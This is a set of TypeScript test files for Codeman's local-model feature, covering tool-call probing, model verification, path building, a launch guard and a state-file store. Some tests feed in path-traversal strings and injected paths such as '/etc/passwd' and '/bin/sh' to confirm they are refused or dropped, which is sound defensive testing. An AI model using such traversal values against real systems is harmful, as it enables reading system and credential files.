expect(judgeToolProbe(200, answer({ tool_calls: [call('{"path":"a"}')] }, 'stop'))).toEqual({ ok: true });
});
it('answers no-tool-call for an answer in plain text', () => {
expect(judgeToolProbe(200, answer({ content: 'I would read the file, but I cannot.' }, 'stop'))).toEqual({
ok: false,
code: 'no-tool-call',
detail: 'The model answered in text: I would read the file, but I cannot.',
});
expect(judgeToolProbe(200, answer({ content: '', tool_calls: [] }, 'stop'))).toMatchObject({
ok: false,
code: 'no-tool-call',
});
});
it('answers no-tool-call for a tool call whose arguments are not a JSON object', () => {
for (const bad of ['{"path": ', 'README.md', '"README.md"', '[1]', 'null', '', 42, null, undefined]) {
expect(judgeToolProbe(200, answer({ tool_calls: [call(bad)] }, 'tool_calls')), JSON.stringify(bad)).toMatchObject(
{
ok: false,
code: 'no-tool-call',
}
);
}
// A call without a name, and one good call beside a broken one.
expect(judgeToolProbe(200, answer({ tool_calls: [call('{}', '')] }, 'tool_calls'))).toMatchObject({
code: 'no-tool-call',
});
expect(
judgeToolProbe(200, answer({ tool_calls: [call('{"path":"a"}'), call('{"path": ')] }, 'tool_calls'))
).toMatchObject({ code: 'no-tool-call' });
expect(judgeToolProbe(200, answer({ tool_calls: ['read_file'] }, 'tool_calls'))).toMatchObject({
code: 'no-tool-call',
});
});
it('answers probe-unfinished when the token limit ended the answer: that proves nothing', () => {
expect(
judgeToolProbe(200, answer({ content: '', reasoning: 'The user wants me to read a file. I should' }, 'length'))
).toEqual({ ok: false, code: 'probe-unfinished', detail: 'The answer ended at 1024 tokens' });
});
it('answers load-failed for any other status, with what the runtime said', () => {
expect(judgeToolProbe(500, { error: { message: 'llm server error: out of memory' } })).toEqual({
ok: false,
code: 'load-failed',
detail: 'llm server error: out of memory',
});
expect(judgeToolProbe(404, { error: "model 'x' not found" })).toMatchObject({
code: 'load-failed',
detail: "model 'x' not found",
});
expect(judgeToolProbe(502, undefined)).toEqual({
ok: false,
code: 'load-failed',
detail: 'The runtime answered 502',
});
});
it('answers no-tool-call for a 200 it cannot read at all', () => {
for (const body of [undefined, null, 'text', [], {}, { choices: [] }, { choices: [null] }, { choices: [{}] }]) {
expect(judgeToolProbe(200, body), JSON.stringify(body)).toEqual({
ok: false,
code: 'no-tool-call',
detail: 'The answer holds no tool call',
});
}
});
});
describe('verifyModel', () => {
it('passes a model that loads, sits on the GPU at the chosen context and calls a tool', async () => {
const { fake: server, target } = await runtime({ installed: true });
expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
ok: true,
loaded: { context: 131072, sizeBytes: 23_205_798_956, sizeVramBytes: 23_205_798_956 },
});
// In this order: the chat that loads it, the process list, the tool probe.
expect(server.requests.map((r) => `${r.method} ${r.path}`)).toEqual([
'POST /v1/chat/completions',
'GET /api/ps',
'POST /v1/chat/completions',
]);
const [chat, , probe] = server.requests.map((r) => r.body as Record<string, unknown>);
expect(chat).toEqual(buildChatProbeRequest(MODEL));
expect(chat).toMatchObject({ reasoning_effort: 'none' });
expect(chat).not.toHaveProperty('tools');
expect(probe).toEqual(buildToolProbeRequest(MODEL));
expect(probe).toMatchObject({ reasoning_effort: 'none', max_tokens: 1024 });
expect(Array.isArray(probe.tools)).toBe(true);
});
it('answers load-failed when the chat that loads the model fails, and asks nothing more', async () => {
const { fake: server, target } = await runtime({ installed: true, chat: 'error' });
expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
ok: false,
code: 'load-failed',
detail: 'llm server error: out of memory',
});
expect(server.requests).toHaveLength(1);
});
it('answers load-failed for a model that is not on disk', async () => {
const { target } = await runtime();
expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' });
});
it('answers load-failed when no runtime answers', async () => {
expect(await verifyModel(await deadTarget(), MODEL, CONTEXT)).toEqual({
ok: false,
code: 'load-failed',
detail: 'The runtime did not answer the first request',
});
});
it('answers load-failed when the model is not in the process list after the chat', async () => {
const { fake: server, target } = await runtime({ installed: true, ps: { loaded: false } });
expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' });
// The tool probe was not sent.
expect(server.requests.filter((r) => r.path === '/v1/chat/completions')).toHaveLength(1);
});
it('answers does-not-fit when part of the model is not on the GPU, before any tool probe', async () => {
const { fake: server, target } = await runtime({ installed: true, ps: { sizeVram: 18_000_000_000 } });
expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
ok: false,
code: 'does-not-fit',
detail: '18.0 of 23.2 GB of the model are on the GPU',
});
expect(server.requests.filter((r) => r.path === '/v1/chat/completions')).toHaveLength(1);
});
it('answers context-not-applied when the runtime loaded another context than the chosen one', async () => {
const { target } = await runtime({ installed: true, contextLength: 32768 });
expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'context-not-applied' });
// The same runtime passes when 32768 is what was chosen.
expect(await verifyModel(target, MODEL, 32768)).toMatchObject({ ok: true, loaded: { context: 32768 } });
});
it('answers no-tool-call when the model answers the tool probe in text', async () => {
const { target } = await runtime({ installed: true, tool: 'none' });
expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
ok: false,
code: 'no-tool-call',
detail: 'The model answered in text: I would read the file, but I cannot.',
});
});
it('answers no-tool-call when the arguments of the tool call do not parse', async () => {
const { target } = await runtime({ installed: true, tool: 'bad-arguments' });
expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'no-tool-call' });
});
it('answers probe-unfinished, not no-tool-call, when the token limit ended the answer', async () => {
const { target } = await runtime({ installed: true, tool: 'length' });
expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'probe-unfinished' });
});
it('answers cancelled for an aborted signal, at whatever point it is noticed', async () => {
const { fake: server, target } = await runtime({ installed: true });
const before = new AbortController();
before.abort();
expect(await verifyModel(target, MODEL, CONTEXT, before.signal)).toEqual({ ok: false, code: 'cancelled' });
expect(server.requests).toHaveLength(0);
// Aborted while the first request is on its way.
const during = new AbortController();
const slow: OllamaTarget = {
baseUrl: server.baseUrl,
fetch: async (input, init) => {
during.abort();
return fetch(input, init);
},
};
expect(await verifyModel(slow, MODEL, CONTEXT, during.signal)).toEqual({ ok: false, code: 'cancelled' });
});
it('never throws, whatever the runtime sends back', async () => {
const answers = ['', 'not json', '[]', 'null', '{"choices":"x"}'];
for (const text of answers) {
const target: OllamaTarget = {
baseUrl: 'http://127.0.0.1:1',
fetch: async () => new Response(text, { status: 200 }),
};
const result = await verifyModel(target, MODEL, CONTEXT);
// The chat was "answered", the process list lists nothing.
expect(result, text).toMatchObject({ ok: false, code: 'load-failed' });
}
});
});
+70
View File
@@ -0,0 +1,70 @@
/**
* @fileoverview Tests for src/local-model/paths.ts: where the local model lives on disk.
*
* Pinned: every path sits under the data dir (so a second Codeman instance has its own),
* everything but the state file sits inside the one folder uninstall owns, a version string
* can never add a path segment, and the inside-the-folder check resolves `..` first.
*
* Port: N/A (pure functions; the data dir is the temp HOME test/setup.ts gives each file).
*/
import { join } from 'node:path';
import { describe, expect, it } from 'vitest';
import { getDataDir } from '../src/config/instance.js';
import { isInsideLocalModelRoot, localModelPaths } from '../src/local-model/paths.js';
describe('localModelPaths', () => {
it('builds every path from the data dir', () => {
const data = getDataDir();
expect(localModelPaths('0.40.15')).toEqual({
root: join(data, 'local-model'),
runtimeRoot: join(data, 'local-model', 'runtime'),
runtimeDir: join(data, 'local-model', 'runtime', 'ollama-0.40.15'),
binary: join(data, 'local-model', 'runtime', 'ollama-0.40.15', 'ollama'),
archivePartial: join(data, 'local-model', 'runtime', 'ollama-0.40.15.tgz.partial'),
unpackDir: join(data, 'local-model', 'runtime', 'ollama-0.40.15.unpack'),
modelsDir: join(data, 'local-model', 'models'),
homeDir: join(data, 'local-model', 'home'),
stateFile: join(data, 'local-model.json'),
});
});
it('keeps everything but the state file inside the one folder', () => {
const paths = localModelPaths('0.40.15');
const { root, stateFile, ...inside } = paths;
for (const path of Object.values(inside)) expect(isInsideLocalModelRoot(path, root)).toBe(true);
expect(isInsideLocalModelRoot(root, root)).toBe(true);
expect(isInsideLocalModelRoot(stateFile, root)).toBe(false);
});
it('refuses a version that is not digits and dots', () => {
for (const version of ['', '0', '../x', '0.40.15/..', '0.40.15-rc1', 'v0.40.15', '0..1', '1.2.3.4.5']) {
expect(() => localModelPaths(version)).toThrow(/Not a runtime version/);
}
expect(() => localModelPaths('1.2')).not.toThrow();
expect(() => localModelPaths('1.2.3.4')).not.toThrow();
});
});
describe('isInsideLocalModelRoot', () => {
const root = '/data/local-model';
it('accepts the folder and what lies in it', () => {
expect(isInsideLocalModelRoot('/data/local-model', root)).toBe(true);
expect(isInsideLocalModelRoot('/data/local-model/', root)).toBe(true);
expect(isInsideLocalModelRoot('/data/local-model/models/blobs/x', root)).toBe(true);
});
it('refuses a sibling, a parent and a path that climbs out', () => {
expect(isInsideLocalModelRoot('/data/local-model.json', root)).toBe(false);
expect(isInsideLocalModelRoot('/data/local-model-2/x', root)).toBe(false);
expect(isInsideLocalModelRoot('/data', root)).toBe(false);
expect(isInsideLocalModelRoot('/data/local-model/../settings.json', root)).toBe(false);
expect(isInsideLocalModelRoot('/data/local-model/models/../../../etc', root)).toBe(false);
});
it('defaults to the folder under the data dir', () => {
expect(isInsideLocalModelRoot(join(getDataDir(), 'local-model', 'home'))).toBe(true);
expect(isInsideLocalModelRoot(join(getDataDir(), 'settings.json'))).toBe(false);
});
});
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,294 @@
/**
* @fileoverview No coding agent is STARTED on the model Codeman runs on this Mac while that
* model cannot be started on: the launch guard below the routes.
*
* The two routes that put a session onto a custom model endpoint ask the install service
* before they write anything (test/routes/local-model-launch-guard.test.ts). That leaves
* every other way a new agent process comes to be in a session that already carries the
* selection: the attach that finds no pane, the respawn of a dead pane (a click on the tab, a
* respawn start, the recovery at boot), a restart in place, and the rebuild after a reboot.
* They all end in `Session`, so the guard sits there:
*
* - `Session.setLaunchGuard()` is asked right before a NEW agent process is started (a fresh
* pane, the respawn of a dead one, `restartCli()`), and never for an attach to an agent
* that runs: a session whose runtime was stopped can still be looked at and closed.
* - `WebServer.setupSessionListeners()` sets it for every session, and it asks
* `LocalModelService.launchRefusalMessage()` with the session's own selection.
* - The reboot-restore route asks the same question before it builds anything, so the entry
* is refused with its own reason and stays on offer.
*
* The Session cases drive a real `Session` against the in-memory tmux layer vitest
* substitutes. The wiring cases use the REAL install service over the real state file, with
* no runtime running, which is exactly the state that must refuse.
*
* Port: N/A (WebServer in test mode binds none; the routes go through app.inject).
*/
import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
import { homedir } from 'node:os';
import { join } from 'node:path';
import Fastify, { type FastifyInstance } from 'fastify';
import fastifyCookie from '@fastify/cookie';
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest';
import { dataPath } from '../src/config/instance.js';
import type { RebootRestoreEntry } from '../src/reboot-restore.js';
import { Session } from '../src/session.js';
import { TmuxManager } from '../src/tmux-manager.js';
import { httpStatusForErrorCode, type ApiErrorCode, type MuxSession, type SessionState } from '../src/types.js';
import { rebootRestoreRegistry } from '../src/web/reboot-restore-registry.js';
import { installRouteErrorHandler } from '../src/web/route-error-handler.js';
import { registerRebootRestoreRoutes } from '../src/web/routes/reboot-restore-routes.js';
import { WebServer } from '../src/web/server.js';
import { createMockRouteContext, safeRmHomeTree } from './mocks/index.js';
const WORKSPACE = join(homedir(), 'codeman-cases', 'local-model-launch-guard');
const STATE = () => dataPath('local-model.json');
const NOT_RUNNING = 'The model on this Mac is not running. Start it first.';
const CHANGED = 'The model on this Mac changed since it was installed. Remove it and install it again.';
const SELECTION = { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b', envKeys: [] as string[] };
const sessions: Session[] = [];
function paneOf(mode: 'claude' | 'opencode' = 'claude'): MuxSession {
return {
sessionId: 'placeholder',
muxName: 'codeman-cafe0002',
pid: 1,
createdAt: Date.now(),
workingDir: WORKSPACE,
mode,
attached: false,
};
}
/** A session that already has a pane, alive or dead as the test says. */
function sessionWithPane(dead: boolean) {
mkdirSync(WORKSPACE, { recursive: true });
const mux = new TmuxManager();
const session = new Session({ workingDir: WORKSPACE, mode: 'claude', mux, useMux: true, muxSession: paneOf() });
sessions.push(session);
vi.spyOn(mux, 'muxSessionExists').mockReturnValue(true);
vi.spyOn(mux, 'isPaneDead').mockReturnValue(dead);
const respawn = vi.spyOn(mux, 'respawnPane').mockResolvedValue(4242);
const create = vi.spyOn(mux, 'createSession');
return { session, mux, respawn, create };
}
/** The state file of an installed model whose connection is the managed record. No runtime runs. */
function writeInstalledState(): void {
writeFileSync(
STATE(),
JSON.stringify({
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, digest: 'abc123' },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
})
);
}
afterEach(() => {
for (const session of sessions.splice(0)) session.stop();
rmSync(STATE(), { force: true });
rebootRestoreRegistry.reset();
vi.restoreAllMocks();
});
afterAll(() => {
safeRmHomeTree(WORKSPACE);
});
describe('Session: the guard is asked before a new agent process, and only then', () => {
it('a restart in place that is refused rejects with the sentence, and the pane keeps what runs in it', async () => {
const { session, respawn } = sessionWithPane(false);
const guard = vi.fn(async () => CHANGED);
session.setLaunchGuard(guard);
await expect(session.restartCli()).rejects.toThrow(CHANGED);
expect(guard).toHaveBeenCalledTimes(1);
expect(respawn).not.toHaveBeenCalled();
});
it('a guard that has nothing to say lets the restart through', async () => {
const { session, respawn } = sessionWithPane(false);
session.setLaunchGuard(async () => undefined);
expect(await session.restartCli()).toBe(true);
expect(respawn).toHaveBeenCalledTimes(1);
});
it('without a guard nothing changes', async () => {
const { session, respawn } = sessionWithPane(false);
expect(await session.restartCli()).toBe(true);
expect(respawn).toHaveBeenCalledTimes(1);
});
it('an attach to a pane whose agent runs is never asked: the session can still be looked at', async () => {
const { session, respawn, create } = sessionWithPane(false);
const guard = vi.fn(async () => NOT_RUNNING);
session.setLaunchGuard(guard);
await session.startInteractive();
expect(guard).not.toHaveBeenCalled();
expect(respawn).not.toHaveBeenCalled();
expect(create).not.toHaveBeenCalled();
});
it('the respawn of a dead pane is asked first, and a refusal starts nothing', async () => {
const { session, respawn, create } = sessionWithPane(true);
const guard = vi.fn(async () => NOT_RUNNING);
session.setLaunchGuard(guard);
await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING);
expect(guard).toHaveBeenCalledTimes(1);
expect(respawn).not.toHaveBeenCalled();
// And no new pane is made in its place either.
expect(create).not.toHaveBeenCalled();
});
it('a session without a pane is asked before one is created', async () => {
mkdirSync(WORKSPACE, { recursive: true });
const mux = new TmuxManager();
const session = new Session({ workingDir: WORKSPACE, mode: 'claude', mux, useMux: true });
sessions.push(session);
const create = vi.spyOn(mux, 'createSession');
session.setLaunchGuard(async () => NOT_RUNNING);
await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING);
expect(create).not.toHaveBeenCalled();
// The guard taken away again: the pane is created.
session.setLaunchGuard(null);
create.mockResolvedValue(paneOf());
await session.startInteractive();
expect(create).toHaveBeenCalledTimes(1);
});
});
describe('WebServer: every session asks the install service about its own selection', () => {
interface ServerInternals {
setupSessionListeners(session: Session): Promise<void>;
discardPartiallyBuiltSession(sessionId: string): Promise<void>;
}
let server: WebServer;
let internals: ServerInternals;
beforeAll(() => {
// Test mode: no port is opened and no CLI is launched.
server = new WebServer(0, false, true);
internals = server as unknown as ServerInternals;
});
afterAll(async () => {
await server.stop().catch(() => {});
});
async function wired(selection?: typeof SELECTION) {
const made = sessionWithPane(false);
if (selection) made.session.setCustomModel(selection, {});
await internals.setupSessionListeners(made.session);
return made;
}
it('a session on the managed endpoint is not restarted while the runtime is down', async () => {
writeInstalledState();
const { session, respawn } = await wired(SELECTION);
await expect(session.restartCli()).rejects.toThrow(NOT_RUNNING);
expect(respawn).not.toHaveBeenCalled();
await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
});
it('nor is its dead pane respawned, which is what a click on the tab and the boot recovery do', async () => {
writeInstalledState();
const { session, mux, respawn } = await wired(SELECTION);
vi.spyOn(mux, 'isPaneDead').mockReturnValue(true);
await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING);
expect(respawn).not.toHaveBeenCalled();
await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
});
it('only the model that was installed may be started on it', async () => {
writeInstalledState();
const { session } = await wired({ ...SELECTION, modelId: 'something-pulled-by-hand' });
await expect(session.restartCli()).rejects.toThrow(/Only Qwen3\.6 35B-A3B is installed on this Mac|not running/);
await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
});
it('a session on another endpoint, and one without a selection, start as before', async () => {
writeInstalledState();
const other = await wired({ ...SELECTION, endpointId: 'office-gpu' });
expect(await other.session.restartCli()).toBe(true);
await internals.discardPartiallyBuiltSession(other.session.id).catch(() => {});
const plain = await wired();
expect(await plain.session.restartCli()).toBe(true);
await internals.discardPartiallyBuiltSession(plain.session.id).catch(() => {});
});
it('a selection made AFTER the listeners were wired is asked about too', async () => {
writeInstalledState();
const { session, respawn } = await wired();
session.setCustomModel(SELECTION, {});
await expect(session.restartCli()).rejects.toThrow(NOT_RUNNING);
expect(respawn).not.toHaveBeenCalled();
await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
});
});
describe('POST /api/reboot-restore/restore: a session that ran on the managed endpoint', () => {
async function harness(ctx: ReturnType<typeof createMockRouteContext>): Promise<FastifyInstance> {
const app = Fastify({ logger: false });
await app.register(fastifyCookie);
registerRebootRestoreRoutes(app, ctx as never);
app.addHook('preSerialization', (req, reply, payload: unknown, done) => {
if (payload === null || typeof payload !== 'object') return done(null, payload);
const p = payload as { success?: unknown; errorCode?: unknown };
if (p.success === false) {
if (reply.statusCode === 200 && typeof p.errorCode === 'string') {
reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode));
}
return done(null, payload);
}
if (p.success === true) return done(null, payload);
return done(null, { success: true, data: payload });
});
installRouteErrorHandler(app);
await app.ready();
return app;
}
/** An entry whose workspace exists, so only the model question can stop it. */
function entryOn(endpointId: string): RebootRestoreEntry {
mkdirSync(WORKSPACE, { recursive: true });
return {
sessionId: 'feedbeef00000001',
name: 'w1-app',
workingDir: WORKSPACE,
mode: 'claude',
resumeConversationId: 'conv-1',
state: {
id: 'feedbeef00000001',
pid: null,
status: 'idle',
workingDir: WORKSPACE,
currentTaskId: null,
createdAt: 1_760_000_000_000,
mode: 'claude',
__customModel: { endpointId, modelId: 'qwen3.6:35b-a3b', envKeys: [] },
} as unknown as SessionState,
};
}
it('is not rebuilt while the model cannot be started on, says why, and stays on offer', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeInstalledState();
rebootRestoreRegistry.set([entryOn('local-ollama')]);
const ctx = createMockRouteContext();
const app = await harness(ctx);
const body = (await app.inject({ method: 'POST', url: '/api/reboot-restore/restore', payload: {} })).json().data;
expect(body.restored).toEqual([]);
expect(body.skipped).toEqual([{ sessionId: 'feedbeef00000001', reason: 'local-model-not-ready' }]);
// Nothing was built: no session was added, so there is nothing to discard.
expect(ctx.addSession).not.toHaveBeenCalled();
// The model can be started and the click repeated.
const left = (await app.inject({ method: 'GET', url: '/api/reboot-restore' })).json().data;
expect(left.sessions.map((s: { id: string }) => s.id)).toEqual(['feedbeef00000001']);
await app.close();
});
});
+270
View File
@@ -0,0 +1,270 @@
/**
* @fileoverview The one reader and writer of `local-model.json` (src/local-model/state-store.ts).
*
* What is pinned:
* - reading is TOTAL: a missing file, text that does not parse, another schema, an unknown
* state and a state that lacks a member it needs all read as idle, and a member of the
* wrong type is dropped rather than trusted;
* - the file holds no path, so nothing in it can point a delete anywhere;
* - writes are serialized, go through a temp file, are mode 0600 and stamp `updatedAt`.
*
* Port: N/A (no server; the file lives in the test's temp data dir).
*/
import { afterEach, describe, expect, it } from 'vitest';
import { existsSync, readdirSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';
import { dirname } from 'node:path';
import { dataPath } from '../src/config/instance.js';
import {
IDLE_LOCAL_MODEL_STATE,
mutateLocalModelState,
parseLocalModelState,
readLocalModelState,
} from '../src/local-model/state-store.js';
import type { LocalModelStateFile } from '../src/types.js';
const FILE = () => dataPath('local-model.json');
const INSTALLED: LocalModelStateFile = {
schema: 1,
state: 'installed',
model: {
id: 'qwen3.6:35b-a3b',
label: 'Qwen3.6 35B-A3B',
context: 131072,
pullBytes: 23_105_798_956,
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
},
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 },
loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 },
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
updatedAt: '2026-11-06T10:00:00.000Z',
};
const PAUSED: LocalModelStateFile = {
schema: 1,
state: 'paused',
step: 'model',
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 },
};
const FAILED: LocalModelStateFile = {
...PAUSED,
state: 'failed',
step: 'verify',
error: {
code: 'no-tool-call',
vars: { model: 'Qwen3.6 35B-A3B' },
detail: 'finish_reason stop',
nextModelId: 'gpt-oss:20b',
},
};
afterEach(() => {
rmSync(FILE(), { force: true });
});
describe('parseLocalModelState', () => {
it('reads back exactly what a state of each kind holds', () => {
for (const state of [INSTALLED, PAUSED, FAILED, { ...PAUSED, state: 'installing' as const }]) {
expect(parseLocalModelState(JSON.stringify(state))).toEqual(state);
}
});
it.each([
['an empty file', ''],
['text that does not parse', '{"schema":1,"state":"installed",'],
['a list', '[]'],
['null', 'null'],
['another schema', JSON.stringify({ ...INSTALLED, schema: 2 })],
['no schema', JSON.stringify({ state: 'installed' })],
['an unknown state', JSON.stringify({ ...INSTALLED, state: 'ready' })],
['idle', JSON.stringify({ schema: 1, state: 'idle', model: INSTALLED.model })],
['idle with everything a job has', JSON.stringify({ ...PAUSED, state: 'idle' })],
['idle with everything an installation has', JSON.stringify({ ...INSTALLED, state: 'idle' })],
])('%s reads as idle', (_label, raw) => {
expect(parseLocalModelState(raw)).toBe(IDLE_LOCAL_MODEL_STATE);
});
it('a state that lacks a member it needs is not trusted: it reads as idle', () => {
const without = (state: LocalModelStateFile, key: keyof LocalModelStateFile) => {
const copy: Record<string, unknown> = { ...state };
delete copy[key];
return JSON.stringify(copy);
};
// Installed needs its model, its coding agent and its runtime (the port).
expect(parseLocalModelState(without(INSTALLED, 'model'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(INSTALLED, 'cli'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(INSTALLED, 'runtime'))).toBe(IDLE_LOCAL_MODEL_STATE);
// A job needs its step and its steps, and a failed one its error.
expect(parseLocalModelState(without(PAUSED, 'step'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(PAUSED, 'steps'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(without(FAILED, 'error'))).toBe(IDLE_LOCAL_MODEL_STATE);
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, step: 'agent', steps: ['runtime', 'model'] }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'model'] }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'reboot'] }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
expect(parseLocalModelState(JSON.stringify({ ...FAILED, error: { code: 'made-up' } }))).toBe(
IDLE_LOCAL_MODEL_STATE
);
});
it('drops a member of the wrong type instead of trusting it', () => {
const parsed = parseLocalModelState(
JSON.stringify({
...INSTALLED,
model: { ...INSTALLED.model, pullBytes: '23 GB', digest: 12 },
runtime: { ...INSTALLED.runtime, pid: 'four', measuredTotalBytes: -1 },
loaded: { context: 131072, sizeBytes: 'big', sizeVramBytes: 1 },
connection: { endpointId: 'local-ollama', flagWasEnabled: 'no' },
updatedAt: 5,
})
);
expect(parsed).toEqual({
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
});
});
it('a port that is not a port makes the runtime unknown', () => {
for (const port of [0, 70_000, 11435.5, '11435', null]) {
expect(
parseLocalModelState(JSON.stringify({ ...PAUSED, runtime: { version: '0.40.15', port, enabled: true } }))
).not.toHaveProperty('runtime');
}
});
it('only an explicit false switches the runtime off', () => {
const enabled = (value: unknown) =>
parseLocalModelState(
JSON.stringify({ ...INSTALLED, runtime: { version: '0.40.15', port: 11435, enabled: value } })
).runtime?.enabled;
expect(enabled(false)).toBe(false);
expect(enabled(true)).toBe(true);
expect(enabled(undefined)).toBe(true);
expect(enabled('false')).toBe(true);
});
it('drops members it does not know, at every level: a state file holds no path', () => {
const parsed = parseLocalModelState(
JSON.stringify({
...INSTALLED,
root: '/Users/me',
runtimeDir: '/',
model: { ...INSTALLED.model, path: '/etc' },
runtime: { ...INSTALLED.runtime, binary: '/bin/sh' },
connection: { ...INSTALLED.connection, file: '/etc/passwd' },
})
);
expect(parsed).toEqual(INSTALLED);
expect(JSON.stringify(parsed)).not.toContain('/');
});
it('keeps the model a replaced job left behind on a job, and never on an installed state', () => {
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, replacedModelId: 'qwen3.8:27b' })).replacedModelId).toBe(
'qwen3.8:27b'
);
expect(parseLocalModelState(JSON.stringify({ ...INSTALLED, replacedModelId: 'qwen3.8:27b' }))).not.toHaveProperty(
'replacedModelId'
);
});
it('an error is kept only on a failed job, and progress and a step only on a job', () => {
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, error: FAILED.error }))).not.toHaveProperty('error');
const installed = parseLocalModelState(
JSON.stringify({
...INSTALLED,
error: FAILED.error,
step: 'connect',
steps: PAUSED.steps,
progress: PAUSED.progress,
})
);
expect(installed).toEqual(INSTALLED);
});
});
describe('readLocalModelState', () => {
it('is idle when the file is missing, and never throws', async () => {
expect(existsSync(FILE())).toBe(false);
expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE);
});
it('is idle for a file that does not parse', async () => {
writeFileSync(FILE(), 'not json');
expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE);
});
it('reads what is stored', async () => {
writeFileSync(FILE(), JSON.stringify(INSTALLED));
expect(await readLocalModelState()).toEqual(INSTALLED);
});
});
describe('mutateLocalModelState', () => {
it('writes the returned state, stamps updatedAt, and answers with before and after', async () => {
const { updatedAt: _stamp, ...paused } = PAUSED;
const { before, after } = await mutateLocalModelState(() => paused);
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
expect(after).toMatchObject(paused);
expect(Number.isNaN(Date.parse(after!.updatedAt!))).toBe(false);
expect(await readLocalModelState()).toEqual(after);
});
it('writes nothing when the change returns undefined: no file appears', async () => {
const { before, after } = await mutateLocalModelState(() => undefined);
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
expect(after).toBeUndefined();
expect(existsSync(FILE())).toBe(false);
});
it('the file is mode 0600 and no temp file is left beside it', async () => {
await mutateLocalModelState(() => PAUSED);
expect(statSync(FILE()).mode & 0o777).toBe(0o600);
expect(readdirSync(dirname(FILE())).filter((name) => name.startsWith('local-model.json'))).toEqual([
'local-model.json',
]);
});
it('changes started together run one after the other: none is lost', async () => {
await mutateLocalModelState(() => PAUSED);
const add = (bytes: number) =>
mutateLocalModelState((current) => ({
...current,
progress: {
completedBytes: (current.progress?.completedBytes ?? 0) + bytes,
totalBytes: 23_105_798_956,
},
}));
await Promise.all(Array.from({ length: 10 }, () => add(1_000)));
expect((await readLocalModelState()).progress?.completedBytes).toBe(6_200_000_000 + 10_000);
});
it('a change that throws rejects its own caller and the next one still runs', async () => {
const thrown = mutateLocalModelState(() => {
throw new Error('boom');
});
const next = mutateLocalModelState(() => PAUSED);
await expect(thrown).rejects.toThrow('boom');
expect((await next).after).toMatchObject({ state: 'paused' });
});
it('replaces a file that does not parse: it holds nothing of the person to lose', async () => {
writeFileSync(FILE(), '{broken');
const { before } = await mutateLocalModelState(() => PAUSED);
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
expect(JSON.parse(readFileSync(FILE(), 'utf8'))).toMatchObject({ schema: 1, state: 'paused' });
});
});
+905
View File
@@ -0,0 +1,905 @@
/**
* @fileoverview Tests for the supervisor of src/local-model/runtime.ts: how Codeman starts,
* watches, restarts and stops its model runtime.
*
* Nothing real runs here. The child process is the fake of test/fixtures/fake-ollama.ts
* (`fake.spawn`): "starting" it makes the fake listen on the port of `OLLAMA_HOST` and write
* the runtime's start-up log, and killing it closes that listener.
*
* Pinned:
* - Start: one non-detached child, `<runtime folder>/ollama serve`, with the allowlisted
* environment; it is ready when `/api/version` answers the pinned version; the device total
* of its log is reported as the measured budget.
* - The port: a listener that is not ours is `port-in-use` and is never signalled; our own
* orphan (the stored pid runs a binary under our runtime folder) is adopted when it holds a
* loaded model at the wanted context, and replaced otherwise.
